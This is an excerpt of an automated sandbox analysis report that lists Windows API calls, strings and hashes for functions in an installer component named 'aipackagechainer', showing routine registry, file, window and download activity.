                                                                                                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,?,?,000000FF,000000FF,00000015), ref: 002489DD
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Rect$ClientLongMonitorParent$FromInfoPoints
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3127921553-0
                                                                                                                                                                                                                                                  • Opcode ID: ba353e5f6caefd6fcf05d2f493858a27b0c7807511f28b30fbe6fba252e4579b
                                                                                                                                                                                                                                                  • Instruction ID: a83719128593056ba15a64acddb4717f63f868b8d0f1124ce8c259cce6109af3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ba353e5f6caefd6fcf05d2f493858a27b0c7807511f28b30fbe6fba252e4579b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5B518D32D10519AFDF14CFA8DD49AAEBBB9FB49710F254229E815A3290DF30AD11CB91
                                                                                                                                                                                                                                                  Function 0023DD20 Relevance: 21.2, APIs: 14, Instructions: 151windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0023DD5F
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0023DD70
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0023DD82
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 0023DD95
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 0023DDA4
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 0023DDB8
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0023DDC7
                                                                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0023DDDE
                                                                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0023DE02
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0023DE06
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,?), ref: 0023DE42
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0023DE4D
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0023DE68
                                                                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0023DE79
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$Rect$ClientMessageSend$ItemPoints
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3417004906-0
                                                                                                                                                                                                                                                  • Opcode ID: 238512dbc6b81eb5aad848a1c3f9608db09cfbbed455d052dd2ee1b03ce96ec2
                                                                                                                                                                                                                                                  • Instruction ID: 814a4d40eceb6967405932e2d8f2898d226e7e0410ee814608f58fee79d4f715
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 238512dbc6b81eb5aad848a1c3f9608db09cfbbed455d052dd2ee1b03ce96ec2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23419EB15043069FDB20DF68EC44B2BBBE4BFA9710F214A1DF49597191DB30A8958F62
                                                                                                                                                                                                                                                  Function 0027C42B Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • InitializeCriticalSectionAndSpinCount.KERNEL32(002D7FD4,00000FA0,?,?,0027C409), ref: 0027C437
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0027C409), ref: 0027C442
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0027C409), ref: 0027C453
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0027C465
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0027C473
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0027C409), ref: 0027C496
                                                                                                                                                                                                                                                  • DeleteCriticalSection.KERNEL32(002D7FD4,00000007,?,?,0027C409), ref: 0027C4B2
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?,0027C409), ref: 0027C4C2
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • WakeAllConditionVariable, xrefs: 0027C46B
                                                                                                                                                                                                                                                  • kernel32.dll, xrefs: 0027C44E
                                                                                                                                                                                                                                                  • SleepConditionVariableCS, xrefs: 0027C45F
                                                                                                                                                                                                                                                  • api-ms-win-core-synch-l1-2-0.dll, xrefs: 0027C43D
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
                                                                                                                                                                                                                                                  • String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                                                                                                                                                                                                                  • API String ID: 2565136772-3242537097
                                                                                                                                                                                                                                                  • Opcode ID: ac34d687dcb8a556c7f856a37a991d77a5c41c140457c57513f61c49ca631bf5
                                                                                                                                                                                                                                                  • Instruction ID: 47a4ce69e7f3cc33f7329ede9faf5e107012495a0d075c0a4622a415fc5364b1
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ac34d687dcb8a556c7f856a37a991d77a5c41c140457c57513f61c49ca631bf5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 46018871A657125FEF301F74BD2DA3A3AA8DB46B51B158025FD08E2690EFB4CC118A71
                                                                                                                                                                                                                                                  Function 002360E0 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 466registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(80000002,Software\JavaSoft\Java Development Kit\,00000000,?,?,4938EAB5), ref: 00236143
                                                                                                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?), ref: 002362D9
                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(?,JavaHome,00000000,00000000,00000000,?,?,?,?), ref: 00236335
                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(?,JavaHome,00000000,00000000,00000000,?), ref: 00236385
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 002363C5
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?), ref: 002366DE
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?), ref: 0023671B
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 002367A6
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Close$OpenQueryValue$FindHeapProcessResource
                                                                                                                                                                                                                                                  • String ID: JavaHome$Software\JavaSoft\Java Development Kit\$Software\JavaSoft\Java Runtime Environment\
                                                                                                                                                                                                                                                  • API String ID: 1322027183-1079072530
                                                                                                                                                                                                                                                  • Opcode ID: 1074d3c5f5363f1f5ca714294e5b2b674468a6e750b0d125a3dee3e176a4ed5d
                                                                                                                                                                                                                                                  • Instruction ID: d35c129698af9a2ab940cf59fbb28b49eb11eb8984cbfca82fa9d3cf36b9a92b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1074d3c5f5363f1f5ca714294e5b2b674468a6e750b0d125a3dee3e176a4ed5d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E41260B0911269ABDB20DF28CD8CBDEB7B9EF54304F1481D9E409A7291EB749E94CF50
                                                                                                                                                                                                                                                  Function 002779C0 Relevance: 18.1, APIs: 12, Instructions: 61synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CloseHandle$Event$ObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2663162059-0
                                                                                                                                                                                                                                                  • Opcode ID: b85588d2a85044d6bc783daca1c59e49eac94552c680d124e7acac7cea1790ce
                                                                                                                                                                                                                                                  • Instruction ID: 64cab38747c20b0b51bc5557adeb2e8e40976ac1ea57cc9964c01eafe866e54f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b85588d2a85044d6bc783daca1c59e49eac94552c680d124e7acac7cea1790ce
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1B113331214703C7EB30AFB6EC88B1F77E8AF95355B218629D145D25A0EB70E9258A64
                                                                                                                                                                                                                                                  Function 00242E90 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 275fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213FA0: GetModuleHandleW.KERNEL32(Kernel32.dll,GetTempPath2W,00000000), ref: 00214097
                                                                                                                                                                                                                                                    • Part of subcall function 00213FA0: GetProcAddress.KERNEL32(00000000), ref: 0021409E
                                                                                                                                                                                                                                                    • Part of subcall function 00213FA0: PathFileExistsW.KERNELBASE(?), ref: 00214109
                                                                                                                                                                                                                                                    • Part of subcall function 00214390: GetTempFileNameW.KERNEL32(?,00000000,00000000,?,4938EAB5,?,00000004), ref: 00214408
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?), ref: 00242FE7
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?), ref: 0024300F
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?), ref: 00243051
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?), ref: 002430A6
                                                                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,?,00000000,?,00000000), ref: 002430D7
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • ShellExecuteExW.SHELL32(?), ref: 0024312F
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$Handle$CloseExecuteShell$AddressCreateExistsFindHeapModuleNamePathProcProcessResourceTempWrite
                                                                                                                                                                                                                                                  • String ID: .bat$EXE$open$runas
                                                                                                                                                                                                                                                  • API String ID: 1017135135-1492471297
                                                                                                                                                                                                                                                  • Opcode ID: 51c32eee371698c3adba2753911334d44077c2ecfbd36fcd03c6caad3c2006a7
                                                                                                                                                                                                                                                  • Instruction ID: ec3058057df6b8811ccfc68e1b9acd7713b8901ca1241e3bb837cc1499a84e97
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 51c32eee371698c3adba2753911334d44077c2ecfbd36fcd03c6caad3c2006a7
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59B1B970901249DFDB04CF68CD48BDEBBF4AF59314F248299F819AB291DBB49A15CF90
                                                                                                                                                                                                                                                  Function 00276070 Relevance: 16.8, APIs: 11, Instructions: 262synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?), ref: 002760BB
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 002760CB
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002760D8
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?), ref: 002760F4
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00276104
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00276111
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027614F
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 00276191
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00276197
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?), ref: 002761FF
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027620A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorEventLast$CreateReset$ObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3708806560-0
                                                                                                                                                                                                                                                  • Opcode ID: 79e9843fefbe811cf996d9c8727008435241a477f9f328092c369b010f5e244e
                                                                                                                                                                                                                                                  • Instruction ID: d0de2a2f119c8f06d45d1a7a937ce55b7261339e588347997c67c617a63c756e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 79e9843fefbe811cf996d9c8727008435241a477f9f328092c369b010f5e244e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1591F2327106128BEB24CF69D888B26B7E5AF44311F158569EC4DDB2A2DB31EC51CB94
                                                                                                                                                                                                                                                  Function 00238250 Relevance: 16.7, APIs: 11, Instructions: 192fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • InitializeCriticalSection.KERNEL32(002D8AF4,4938EAB5), ref: 0023828C
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,4938EAB5), ref: 00238299
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382CB
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382D4
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,002BDB5C,00000001,?,00000000,00240B71,00000000), ref: 00238356
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 0023835F
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,000000FF,00000000,?,00000000,00240B71,00000000), ref: 00238395
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,00000000,000000FF,00000000,?,00000000,00240B71,00000000), ref: 0023839E
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,002A29AD,00000000,002BC468,00000002,?,00000000,000000FF,00000000,?,00000000,00240B71,00000000), ref: 002383FF
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(00000000,?,00000000,000000FF,00000000,?,00000000,00240B71,00000000), ref: 00238408
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,00000000,000000FF,00000000,?,00000000,00240B71,00000000), ref: 00238438
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$BuffersFlushWrite$CriticalSection$AllocateEnterFindHeapInitializeLeaveResource
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 201293332-0
                                                                                                                                                                                                                                                  • Opcode ID: 6f5c6566a9ecb13b70fa52115284be05eede09d5f6e469a51591911bee365a11
                                                                                                                                                                                                                                                  • Instruction ID: 7be420dc787183383999b2a4ed17ae1f8e3af81f20b79c98e58cf132bd5c792e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6f5c6566a9ecb13b70fa52115284be05eede09d5f6e469a51591911bee365a11
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7D61BF70910645AFDB00DF68DC49BAEBBB4FF15310F148169F815AB2A1DB709D25CFA0
                                                                                                                                                                                                                                                  Function 0025ADC0 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 432synchronizationfileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0025AEB4
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,00000000,.part,00000005,?,?,?), ref: 0025AFB6
                                                                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 0025B012
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0025B036
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?,00000000,002C157C,00000000,00000000,00000000,00000000,00000000,?), ref: 0025B2E8
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0025B317
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0025B321
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FileObjectSingleWait$CloseCreateErrorEventHandleLastResetSize
                                                                                                                                                                                                                                                  • String ID: .part$<
                                                                                                                                                                                                                                                  • API String ID: 1885162932-3789028153
                                                                                                                                                                                                                                                  • Opcode ID: 1c91cbf8b011063b25f67279b4fdb8311395bc9f8e29243d16229fafda65ac7c
                                                                                                                                                                                                                                                  • Instruction ID: 3327df569dc48d54f55ac03f521e514a5e698da1cd395f3a7c68b3284433ed91
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1c91cbf8b011063b25f67279b4fdb8311395bc9f8e29243d16229fafda65ac7c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB12BF30D1165ADBEB21CF64CC49B9DBBB0FF05314F148299E809A7291DB70AE98CF95
                                                                                                                                                                                                                                                  Function 0025A8C0 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 392synchronizationfileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0025AA0A
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,POST,?,?,-00000010), ref: 0025AC15
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?), ref: 0025AC33
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0025AC5B
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0025AC62
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 0025BAB0: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,4938EAB5), ref: 0025BAEF
                                                                                                                                                                                                                                                    • Part of subcall function 0025BAB0: GetLastError.KERNEL32 ref: 0025BB10
                                                                                                                                                                                                                                                    • Part of subcall function 0025BAB0: CloseHandle.KERNEL32(?,?,?,?,?,?,?,002A9A55,000000FF), ref: 0025BDB6
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorFileLastObjectSingleWait$CloseCreateDeleteEventHandleHeapProcessReset
                                                                                                                                                                                                                                                  • String ID: .part$123$DLD$POST
                                                                                                                                                                                                                                                  • API String ID: 3354080062-2664427314
                                                                                                                                                                                                                                                  • Opcode ID: 72df553129b2121f7f72adf2f970be6af06600f67e82726023bce92b2aa3eb75
                                                                                                                                                                                                                                                  • Instruction ID: d9ddd9f2760a834df811743bc48dab8ad170874698908136283a4226063da585
